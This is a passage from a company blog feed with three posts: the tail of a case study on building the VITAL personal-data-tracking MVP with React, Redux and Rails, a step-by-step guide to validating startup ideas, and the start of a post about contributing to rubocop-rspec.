&lt;p&gt;The application required instant data updates w/o page reload so we decided to use a reactive framework on the frontend, and at that time, React.js was growing popular. We picked &lt;a href="https://datarockets.com/blog/code/react-quick-start/" rel="noopener noreferrer"&gt;React.js&lt;/a&gt; + &lt;a href="https://datarockets.com/blog/code/structure-redux-applications/" rel="noopener noreferrer"&gt;Redux&lt;/a&gt; for the frontend and &lt;a href="https://datarockets.com/blog/business/why-ruby-on-rails/" rel="noopener noreferrer"&gt;Ruby on Rails&lt;/a&gt; for the backend. For the design, we utilized bootstrap to release the first version of the product fast.&lt;/p&gt;

&lt;p&gt;In order to motivate people to track their data, we decided to introduce a concept of teams and data sharing. As a result of the first iteration, the users were able to transition from their spreadsheets to the app and the following features were implemented:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Journaling (Daily entry: Win, Loss or Draw + text log)&lt;/li&gt;
&lt;li&gt;Teams and dashboard for teams configurable by team admins&lt;/li&gt;
&lt;li&gt;Team members’ management, invites via email&lt;/li&gt;
&lt;li&gt;Shared and private logs&lt;/li&gt;
&lt;li&gt;Additional data types as checklists and counters&lt;/li&gt;
&lt;li&gt;Ability to comment on data entries of your teams&lt;/li&gt;
&lt;li&gt;Graphs that visualize Win Lose or Draw metrics within teams&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwmk7uziuccpgj7ophyyr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwmk7uziuccpgj7ophyyr.png" width="800" height="466"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3820qfea7norknay4v4w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3820qfea7norknay4v4w.png" width="800" height="466"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And Kal (the founder of Pixel Dreams) &lt;a href="https://youtu.be/qTwE3DfFkk8" rel="noopener noreferrer"&gt;invited first platform users for beta testing&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Mobile app implementation and improving UI
&lt;/h3&gt;

&lt;p&gt;After some time of using the app, we gathered feedback from the early adopters and learned that now when they have an app for data tracking, they preferred to use mobile devices to fill it in. Also, we noticed that the early adopters of the platform were using the commenting feature a lot to support each other and ask questions.&lt;br&gt;
Therefore, we decided to run another iteration and create a mobile version of the web application plus add extra social features such as:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A social feed where users can see the logs of their teammates and comment on them w/o switching to the databoard screen&lt;/li&gt;
&lt;li&gt;Notifications about new comments so that users could continue their discussions in the comments section
We allocated 4 more weeks in order to implement the mobile version and social feed and, as a result, we implemented the following screens:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flxrzj21hksks2cdlzvco.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flxrzj21hksks2cdlzvco.png" width="800" height="567"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Implementing analytics as a value prop
&lt;/h3&gt;

&lt;p&gt;At this point, we already had a working proof of the concept being used by employees and early adopters of our client on a regular basis. But together with them, we started thinking about bringing this product to other companies and teams and the ways it could be monetized. Tracking data, sharing it and discussing it wasn’t enough in our opinion to try selling this product. So, we made an assumption that the teams that have enough discipline to track their data could find it valuable to receive insights from it. We then came up with simple analytics that could help in &lt;a href="https://datarockets.com/validate-idea/" rel="noopener noreferrer"&gt;validating this assumption&lt;/a&gt;. The page consisted of 4 sections:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;your weekly average&lt;/li&gt;
&lt;li&gt;how you stand compared to your friends&lt;/li&gt;
&lt;li&gt;your spiritual buddy last week&lt;/li&gt;
&lt;li&gt;top contributing vital (the one that influences your mood the most and correlates with it)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpscapx82u2glvm4lk4g2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpscapx82u2glvm4lk4g2.png" width="800" height="674"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuu4krrol92i393mxeyk7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuu4krrol92i393mxeyk7.png" width="800" height="682"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Result
&lt;/h2&gt;

&lt;p&gt;During the whole development process, 1 part-time Project Manager and 2 full-time middle engineers (frontend and backend) were working from the datarockets side. The PM was involved in the product strategy discussion apart from managing the dev team. Our engineering team participated in feature discussions and suggested ways to make things simpler/faster.&lt;br&gt;
Together with the Pixel Dreams team, we implemented a web application that allows the tracking of personal data such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Journaling (day results, WIN LOSE or DRAW)&lt;/li&gt;
&lt;li&gt;Variety of counters (Book readings, daily calorie intake, etc.)&lt;/li&gt;
&lt;li&gt;Daily checklists (useful routine items, taboos)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Also, we’ve built social features for the teams:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Teams configuration&lt;/li&gt;
&lt;li&gt;Roles&lt;/li&gt;
&lt;li&gt;Data sharing&lt;/li&gt;
&lt;li&gt;Commenting&lt;/li&gt;
&lt;li&gt;Notifications&lt;/li&gt;
&lt;li&gt;Social feed&lt;/li&gt;
&lt;li&gt;Insights and analytics of vitals that affect / correlate with your mood.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Currently, VITAL is in closed BETA. Together with Pixel Dreams, we are evaluating different &lt;a href="https://datarockets.com/blog/business/startup-stages-business-models/" rel="noopener noreferrer"&gt;business models&lt;/a&gt; in order to find a product-market fit and define what improvements we are going to build next.&lt;br&gt;
On the whole, the MVP building process with the implementation of new features and a mobile web app took us 18 weeks (~4.5 months) of development.&lt;/p&gt;

&lt;h2&gt;
  
  
  Technology Stack
&lt;/h2&gt;

&lt;p&gt;Ruby on Rails, Rspec, Mandrill API, Google oAuth, React.js, Chart.js, Redux, Postgres&lt;/p&gt;

&lt;p&gt;Originally published on the &lt;a href="https://datarockets.com/case-studies/vital/" rel="noopener noreferrer"&gt;datarockets' website&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>startup</category>
      <category>portfolio</category>
      <category>mvp</category>
    </item>
    <item>
      <title>MVP development. Idea Validation process</title>
      <dc:creator>Yuliya Haranok</dc:creator>
      <pubDate>Thu, 12 Nov 2020 17:06:10 +0000</pubDate>
      <link>https://forem.com/datarockets/mvp-development-idea-validation-process-46i9</link>
      <guid>https://forem.com/datarockets/mvp-development-idea-validation-process-46i9</guid>
      <description>&lt;p&gt;Entrepreneurs are known to run into dozens of ideas on a daily basis, if not more. While most of them seem to border on absurdity in the beginning, it is often difficult to determine whether or not they would work out in the long run. That’s why the best way of ensuring your idea is worth developing is to learn at the fastest possible pace and have the willingness to try out different experiments.&lt;/p&gt;

&lt;p&gt;Based on our proven knowledge on product development and experience, we have developed a template document relating to the process of idea validation, and wrote the guide to explain each question and step in a simple, understandable manner.&lt;/p&gt;

&lt;p&gt;Get the &lt;a href="https://datarockets.com/blog/validate-startup-idea/" rel="noopener noreferrer"&gt;Idea Validation template&lt;/a&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  How’s this helpful?
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;Avoid wasting time and resources on something that’s certainly not worth it. &lt;/li&gt;
&lt;li&gt;Learn proactively and pivot your idea at a much quicker pace.&lt;/li&gt;
&lt;li&gt;Validate your product idea without actual budget/coding skills.&lt;/li&gt;
&lt;li&gt;Answering all the questions posed in this guide means it can serve as a worthwhile investor deck. Couple this with running some experiments and you’re well poised to raise money from investors!&lt;/li&gt;
&lt;li&gt;Most critically, it provides a credible framework to separate good ideas from bad ones.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  List of contents
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;Value Proposition&lt;/li&gt;
&lt;li&gt;Existing Solutions Research&lt;/li&gt;
&lt;li&gt;Market Analysis&lt;/li&gt;
&lt;li&gt;Business Model Assumptions&lt;/li&gt;
&lt;li&gt;Growth Assumptions&lt;/li&gt;
&lt;li&gt;Competitor Analysis&lt;/li&gt;
&lt;li&gt;Experimental Plan Definition&lt;/li&gt;
&lt;li&gt;Experimenting&lt;/li&gt;
&lt;li&gt;MVP Scope Definition&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Value Proposition &lt;a&gt;&lt;/a&gt;
&lt;/h1&gt;

&lt;h4&gt;
  
  
  What important truth does your idea uncover that is not mainstream?
&lt;/h4&gt;

&lt;p&gt;The following would be a business version of this question: what is that valuable company that nobody is building? Every correct answer is necessarily a secret: something important and unknown, something hard to do but doable (&lt;a href="https://genius.com/Peter-thiel-zero-to-one-chapter-8-secrets-annotated" rel="noopener noreferrer"&gt;by Peter Thiel&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;It is important for your idea to reveal some unknown, unconventional truth in order to create something of value. Something nobody chooses to talk about aloud, but will become evident to all after it’s unraveled. &lt;/p&gt;

&lt;p&gt;For more interesting nuggets and insights on &lt;a href="https://datarockets.com/blog/startups-that-look-attractive-for-vc-investors/#great_ideas" rel="noopener noreferrer"&gt;startups that attract VC investors&lt;/a&gt; read &lt;a href="https://www.amazon.com/Zero-One-Notes-Startups-Future/dp/0804139296" rel="noopener noreferrer"&gt;Zero to One&lt;/a&gt; book. &lt;/p&gt;

&lt;h3&gt;
  
  
  Define fundamental value assumptions
&lt;/h3&gt;

&lt;p&gt;Here at datarockets, we classify three kinds of assumptions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Value assumptions&lt;/strong&gt;: To define the value of your idea and future product. &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Business model assumptions&lt;/strong&gt;: This affects the manner in which you get your product monetized.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Growth assumptions&lt;/strong&gt;: How you’ll ensure growth of your product and continue to attract new customers. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s begin with the basics: the value assumptions!&lt;/p&gt;

&lt;h4&gt;
  
  
  What are your fundamental value assumptions? How does it help to resolve real-world problems?
&lt;/h4&gt;

&lt;p&gt;On the basis of the previous chapter’s statement, it’s best to define the fundamental value assumptions and experiment with them in the fastest possible manner. &lt;a href="https://datarockets.com/blog/mvp-app-development-lean-startup-way/" rel="noopener noreferrer"&gt;Leap of faith assumptions&lt;/a&gt; is another popular term for fundamental value assumptions. &lt;/p&gt;

&lt;p&gt;&lt;em&gt;If your leap of faith assumptions are not true, the whole idea is not viable&lt;/em&gt;. This means that if your failed assumption won’t end up ruining the whole idea, then it’s not vitally important to begin with, thus implying that it can no longer be your fundamental value assumption.&lt;/p&gt;

&lt;h3&gt;
  
  
  Growth evaluation
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Does your idea grow with the advancements of supporting technologies (durability)?
&lt;/h4&gt;

&lt;p&gt;Before taking the next step, confirm whether a new, upcoming technology won’t kill your promising idea. &lt;br&gt;
Ex: If you’re intending to develop a startup that teaches people how to drive vehicles, it may make sense to assume that with the advance of self-driving cars your business might get destroyed.&lt;/p&gt;

&lt;h1&gt;
  
  
  Existing Solutions Research &lt;a&gt;&lt;/a&gt;
&lt;/h1&gt;

&lt;h4&gt;
  
  
  Has anyone implemented your idea / tried to implement it before?
&lt;/h4&gt;

&lt;p&gt;Although a typical process begins with communicating with people whose pain points will be addressed with your product/service, it makes a lot of sense to first research your idea and determine if similar services/solutions are already available in the market. After ensuring that the competition is not excessively intense or your idea provides breakthrough value with its uniqueness, it’s time to proceed further.  &lt;/p&gt;

&lt;h4&gt;
  
  
  Find communities that may potentially be facing the problem you’re looking to resolve. Ask how they’re currently dealing with it and if they’d be interested in trying out your way.
&lt;/h4&gt;

&lt;p&gt;More often than not, other people may already be solving the problem you plan to solve. They may be doing that using some tricks or manual solutions. Identify and talk to them about how they tackle such challenges, what is it that they struggle with, and whether or not they’d like to explore your way of doing that.&lt;br&gt;
Based on who your target audience is, join Facebook groups where your target audience is likely to assemble, gather feedback from your own network, or even consider talking to people on the streets. &lt;br&gt;
Remember, whenever you wish to solve someone's problem or fulfil an unmet need in the market, the first step is to get people to stop using other solutions or make changes in lifestyles. After ensuring the problem is worthy of being solved and something that people wouldn’t mind paying for, you’re ready to take the next step.&lt;/p&gt;

&lt;h4&gt;
  
  
  Why do you think your solution is better?
&lt;/h4&gt;

&lt;p&gt;After taking the above steps, focus on the advantages and the distinguishing features of your solutions that set them apart from others. List them in a logical order and then explain why people will find more value in your solution. What value will it bring to them?&lt;/p&gt;

&lt;h1&gt;
  
  
  Market Analysis &lt;a&gt;&lt;/a&gt;
&lt;/h1&gt;

&lt;p&gt;Previously, we’d been assessing and validating our &lt;strong&gt;Value Assumptions&lt;/strong&gt;. Ensuring the viability of your idea was their core purpose. Unfortunately, merely having a good idea to create a long-term profitable product does not suffice. Think about the different ways in which you make money out of your solution via &lt;strong&gt;Market Analysis&lt;/strong&gt; and &lt;strong&gt;Business Model Assumptions&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Define your potential target market
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Narrow down your potential target market. Who is your ideal customer? Why should they pay for your solution?
&lt;/h4&gt;

&lt;p&gt;Targeting everyone essentially means that you’re not targeting anyone in particular. Concentrating on the appropriate target market is a good approach because it lets you maximize your returns on the time, money and energy you’ve invested. Secondly, it’s far easier to conduct  experiments in a narrow market.&lt;br&gt;
Try and define specific groups you wish to target with your service/product alongside their potential sources of revenue. Depending on your idea, you can even group them by job, interests, demographics, etc. Ensure that your target audience will be able to buy your products as the revenue source of each target will be different.&lt;br&gt;
Now, there are some industries where people are very unlikely to pay for additional services. As a case in point, the probability of people paying to use social media for communication purposes is very low. In such scenarios, use your discretion and prepare a draft of your monetization strategy. While it needn’t be your final blueprint, it will greatly simplify your task by helping you select more attractive markets.&lt;/p&gt;

&lt;h4&gt;
  
  
  Use Google Trends/Semrush to see how many people google solutions for the problem you are trying to solve
&lt;/h4&gt;

&lt;p&gt;Tools like Google Trends or Semrush give you an accurate picture of just how many people are seeking solutions to the problem you’re attempting to resolve. Most importantly, such tools allow you to check who these people are, know what their trends are, and provide a reasonable accurate estimate of the size of your target market.&lt;/p&gt;

&lt;h4&gt;
  
  
  Reach out to five well-known people in the market and ask for feedback on your idea
&lt;/h4&gt;

&lt;p&gt;After gathering the necessary information based on the previous steps, select a market (or a couple of them) that seems most promising. The next step in this phase is to gather feedback from specific groups of people relevant to your market. Doing this will give you plenty of actionable insights and the opportunity to further examine your idea from different perspectives. &lt;/p&gt;

&lt;h3&gt;
  
  
  Create a portrait of your target audience
&lt;/h3&gt;

&lt;p&gt;In this phase, try to be as specific as possible about all relevant attributes of your target audience that describe them/their lives accurately and narrow them down further - age, gender, interests, position, personality, daily schedule, reading patterns, etc.&lt;/p&gt;

&lt;p&gt;Regardless of whether you describe a person or a company, depending on your sales model (B2B or B2C), the approach will remain unchanged. Consider the example from the &lt;a href="https://www.amazon.com/1-Page-Marketing-Plan-Customers-Money-ebook/dp/B01B35M3SM" rel="noopener noreferrer"&gt;"1-Page Marketing Plan" book&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Conduct target user interviews
&lt;/h3&gt;

&lt;p&gt;According to Eric Migicovsky, a Y Combinator partner, the best firms are those whose founders establish a direct connection with their users. If you happen to be a founder, consider talking directly to the users of your product or solution.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://youtu.be/MT4Ig2uqjTc" rel="noopener noreferrer"&gt;In his talk&lt;/a&gt;, Eric cites a useful example of a structure that can be used to hold your user interviews. After tailoring the structure based on our needs and priorities, this is what we’ve come up with:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;What makes the problem difficult for them?&lt;/li&gt;
&lt;li&gt;When did they last face it?&lt;/li&gt;
&lt;li&gt;What have they done to solve the problem?&lt;/li&gt;
&lt;li&gt;What are the things about existing solutions that they don’t like?&lt;/li&gt;
&lt;li&gt;How much would they pay to resolve the problem?&lt;/li&gt;
&lt;/ol&gt;

&lt;h1&gt;
  
  
  Business Model Assumptions &lt;a&gt;&lt;/a&gt;
&lt;/h1&gt;

&lt;h4&gt;
  
  
  List your business model assumptions (based on the assumptions on what you assume your customers are going to pay and how much)
&lt;/h4&gt;

&lt;p&gt;After defining the problem to be solved, doing user interviews and knowing more about the target audience, it’s now time to brainstorm ways of monetizing your product. &lt;/p&gt;

&lt;p&gt;It’s a good idea to first get better informed about various &lt;a href="https://datarockets.com/blog/startup-stages-business-models/" rel="noopener noreferrer"&gt;types of business models&lt;/a&gt; before jotting down your assumptions about how your customers would be paying and how much. Put every idea on your mind on the table. &lt;/p&gt;

&lt;h1&gt;
  
  
  Growth Assumptions &lt;a&gt;&lt;/a&gt;
&lt;/h1&gt;

&lt;h4&gt;
  
  
  List your growth assumptions (what is your plan to rope in new users and how much cost would that involve)
&lt;/h4&gt;

&lt;p&gt;To survive and thrive, it’s critical to ensure your product grows smoothly and plan out ways in which you’ll attract new users or enter into new deals (partnerships). You’ll have a far better picture of your future marketing investment by writing down all possible growth hacking and marketing ideas. (prepare to get startled by the fact that budgets for marketing are often bigger than those for development purposes ;))&lt;/p&gt;

&lt;h4&gt;
  
  
  Does your growth engine generate new users from the actions of existing users? List out your acquisition loops.
&lt;/h4&gt;

&lt;p&gt;Getting new users effortlessly without spending any money is always a pleasant feeling. In that context, consider exploring &lt;a href="https://nogood.io/2019/10/01/growth-acquisition-loops-funnel/" rel="noopener noreferrer"&gt;acquisition loops&lt;/a&gt; which will make a great addition for your monetization strategies.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The core idea behind acquisition loops is as follows: The more users you have, the more users are attracted.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;You can implement acquisition loops in the form of referral programs (e.g. Airbnb and Uber offer free coupons/rides for each referred user) or content loops that are user generated (Reddit, social networks, etc.).&lt;br&gt;
Natural acquisition loops are extremely important when you’re planning to execute an Ad-based business model, because the average revenue per user (ARPU) of ad-based models are lower in comparison to let’s say SaaS. That's why they must acquire new users cheaply to generate sustainable profits and reap massive profits.&lt;/p&gt;

&lt;h4&gt;
  
  
  What’s your assumed revenue source? How would your profits/expenses grow as the number of customers grows (scalability assumption)?
&lt;/h4&gt;

&lt;p&gt;Needless to say, it’s not easy to accurately predict your expenses and profits. Some startups have funding to cover their expenses for two years or so until the venture starts making profits. If that’s not your case, pay close attention to this aspect and foresee your potential scalability issues and expenses.  &lt;/p&gt;

&lt;h1&gt;
  
  
  Competitor Analysis &lt;a&gt;&lt;/a&gt;
&lt;/h1&gt;

&lt;h4&gt;
  
  
  High-level SEO analysis
&lt;/h4&gt;

&lt;p&gt;This step needs us to continue working with product positioning and simultaneously address several key questions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;How many people are interested in this? &lt;/li&gt;
&lt;li&gt;How difficult is it to rank on the first page of Google?&lt;/li&gt;
&lt;li&gt;What keywords should I use to promote my product or service? &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;As you begin to answer these questions, it will become crystal clear that some keywords are more popular as compared to others. Some find it really hard to attain a high ranking on Google. Here, our objective is to compare word combinations that translate your business model to identify keywords with a balanced volume and keyword difficulty (KD).  &lt;/p&gt;

&lt;p&gt;Utilize tools like Semrush, Ahrefs Keyword Finder, Google Ads Keyword tool, etc. to collect the information about &lt;strong&gt;Volume, CPC, KD and leading websites that rank by these keywords&lt;/strong&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  Competitor overview
&lt;/h4&gt;

&lt;p&gt;Competitor overview is an extremely important step to undertake before proceeding further and it requires you to gather information about your competitors’ users, business models, revenue, etc. We this guide, we want to draw your attention to three attributes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your Advantage&lt;/li&gt;
&lt;li&gt;How Hard to Replicate Your Advantage&lt;/li&gt;
&lt;li&gt;Why Should Customers Buy from You&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From these characteristics, it’s clear that you’ll compare your value proposition with your competitors and know what your unique selling proposition is.&lt;/p&gt;

&lt;h4&gt;
  
  
  Learn more about your competitors
&lt;/h4&gt;

&lt;p&gt;Usually, you’ll get more insights from personal interaction with your rivals than from conducting a basic competitor overview. It’s a good idea to reach out to them and know more about how their business is shaping up and the struggles they’re going through. Some effective ways of doing this include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Scheduling a demo as a user. When it comes to small startups, you’re more likely to be able to engage in a personal talk with product owners that are very in tested in collecting user feedback. &lt;/li&gt;
&lt;li&gt;Contact product owners directly as their competitor. Generally, experienced startup owners are not opposed to the idea of talking to competitors and others from within the same industry. In most cases, they’ll frankly talk about their experiences/struggles, caution you about some pitfalls and share some additional information that you may find relevant.&lt;/li&gt;
&lt;li&gt;Conduct in-depth research on their personal pages and blogs. In some rare cases, founders openly reveal all the information about the product and its metrics such as conversions, active users, revenue, etc. &lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Experimental Plan Definition &lt;a&gt;&lt;/a&gt;
&lt;/h1&gt;

&lt;p&gt;Until now, you’re likely to have collected several interesting ideas of business models as well as growth assumptions. Now is the time to get them tested.&lt;/p&gt;

&lt;h4&gt;
  
  
  How are you going to test your business and product positioning assumptions?
&lt;/h4&gt;

&lt;p&gt;Let’s face it. It’s not viable to build MVPs for every different assumption. Do the smart thing, instead. There are many tricks that you can implement to test ideas without actual development. We covered some of them in our blog post on the Lean Startup approach:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Landing page. After using builders to develop simple websites with your value proposition, collect early-bird invites or sign-ups for testing the app. This is an effective way of evaluating the interest of users. &lt;/li&gt;
&lt;li&gt;Demo video. Several startups received funding only for the video that explained their vision because the product had already been built.
&lt;/li&gt;
&lt;li&gt;Crowdfunding platform. This can be a useful option not only to validate your ideas, but also to identify early adopters and receive payments before you actually develop the product. &lt;/li&gt;
&lt;li&gt;Concierge MVP. Sometimes, you can test the idea manually rather than having a web platform or application. &lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Where can you find your early adopters?
&lt;/h4&gt;

&lt;p&gt;Now you must locate people who’re facing the problem you plan to solve and get them to test your product/solution. They will not only give you valuable feedback, but also spread the word. By now, you should know how to find them because you’ve already talked to them in the Value Proposition stage.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Crowdfunding platforms&lt;/li&gt;
&lt;li&gt;Facebook / Reddit / Telegram groups&lt;/li&gt;
&lt;li&gt;Current clients (if your business is running offline for now), etc.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  How are you going to collect feedback?
&lt;/h4&gt;

&lt;p&gt;Put differently, how will you communicate with your early adopters?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Feedback forms&lt;/li&gt;
&lt;li&gt;Facebook groups / Telegram channels&lt;/li&gt;
&lt;li&gt;Email campaigns&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Experimenting &lt;a&gt;&lt;/a&gt;
&lt;/h1&gt;

&lt;p&gt;Experimentation time! At this stage, you would have every information you need to test the assumptions and begin data collection to identify your product positioning and go-to-market business model. &lt;br&gt;
After launching your demo videos/ landing pages, go ahead and collect some data. Not every idea is explained in the same way, so you may want to quickly run a couple of Google ads to see people’s reaction to various keywords for product positioning. &lt;/p&gt;

&lt;p&gt;Putting the metrics on the table will let you see what experiment turned out to be most successful. Although we offer to check these metrics, it’s your call on whether or not to make changes in this list:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Impressions&lt;/li&gt;
&lt;li&gt;CTR&lt;/li&gt;
&lt;li&gt;Visits&lt;/li&gt;
&lt;li&gt;Signups&lt;/li&gt;
&lt;li&gt;Conversion rate&lt;/li&gt;
&lt;li&gt;Cost per Signup&lt;/li&gt;
&lt;li&gt;Assumed Average Revenue per User&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You may also want to check our massive, extremely helpful guide on &lt;a href="https://datarockets.com/blog/ultimate-startup-metrics-guide/" rel="noopener noreferrer"&gt;Startup Metrics&lt;/a&gt;. &lt;/p&gt;

&lt;h1&gt;
  
  
  MVP Scope Definition &lt;a&gt;&lt;/a&gt;
&lt;/h1&gt;

&lt;p&gt;If you’ve successfully reached this stage, congratulate yourself for making good progress! You now have a very good reason to believe that your idea is worth developing. Time to define the scope of work by preparing for MVP building:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Define your go-to-market business model.&lt;/li&gt;
&lt;li&gt;Conduct interviews with customers who have signed up. Ask about their expectations and top-3 features they’re looking to implement in the product. Match their expectations with your pricing model.&lt;/li&gt;
&lt;li&gt;Do a cross-analysis of the interviews in order to find out most desirable features. Consider writing simple User Stories.&lt;/li&gt;
&lt;li&gt;Predict revenues for 100/1000/10000 paying customers and calculate your business model’s unit-economics&lt;/li&gt;
&lt;li&gt;Obtain estimates on the numerous features and determine the ones you wish to include in the MVP. Make it a point to only include the most important features that help validate your key assumptions. You can always add the rest at a later stage. Ensure that your budget for MVP is less than 30k-40k.&lt;/li&gt;
&lt;/ol&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;Yeah, it does look like a long, tedious process. But here’s the good news for you! You can test your ideas quickly and effectively after gaining some experience. &lt;/p&gt;

&lt;p&gt;Another piece of good news: if you happen to fail at any stage, there’s no reason to be upset about it, because it basically means that you successfully prevented your money from being wasted on developing a product that was likely to fail in the first place. Sometimes, a back-up option for a not-so-strong idea is to pivot it and repeat the cycle. &lt;/p&gt;

&lt;p&gt;Besides, we’re always ready to help in whatever way we can with the &lt;a href="https://datarockets.com/blog/validate-startup-idea/" rel="noopener noreferrer"&gt;idea validation&lt;/a&gt; process and product development insights. All you need to do is to drop us a line and we’ll be happy to talk!&lt;/p&gt;

</description>
      <category>startup</category>
    </item>
    <item>
      <title>Contribution to open source: rubocop-rspec</title>
      <dc:creator>Ulugbek Tuychiev</dc:creator>
      <pubDate>Fri, 21 Aug 2020 15:53:10 +0000</pubDate>
      <link>https://forem.com/datarockets/contribution-to-open-source-rubocop-rspec-3j97</link>
      <guid>https://forem.com/datarockets/contribution-to-open-source-rubocop-rspec-3j97</guid>
      <description>&lt;p&gt;Open source is an essential part of the development industry. At datarockets, we are fully aware of this and always strive to bring something useful to the development community.&lt;/p&gt;

&lt;p&gt;For example, we develop different libraries that help us to maintain high-quality code in clients’ projects. We combine best practices with our vision and make these libraries public for everyone. &lt;/p&gt;

&lt;p&gt;This is a story of how a problem in our internal library appeared a useful contribution to the popular Ruby lib – &lt;a href="https://github.com/rubocop-hq/rubocop-rspec" rel="noopener noreferrer"&gt;rubocop-rspec&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;In the process of working with our &lt;a href="https://github.com/datarockets/datarockets-style" rel="noopener noreferrer"&gt;internal Ruby style config&lt;/a&gt;, we faced a problem of repeated test cases.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdatarockets.com%2Fwp-content%2Fuploads%2F2020%2F03%2Fimg_5e7dc62f50ad9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdatarockets.com%2Fwp-content%2Fuploads%2F2020%2F03%2Fimg_5e7dc62f50ad9.png" alt="The problem of repeated test cases"&gt;&lt;/a&gt;&lt;/p&gt;

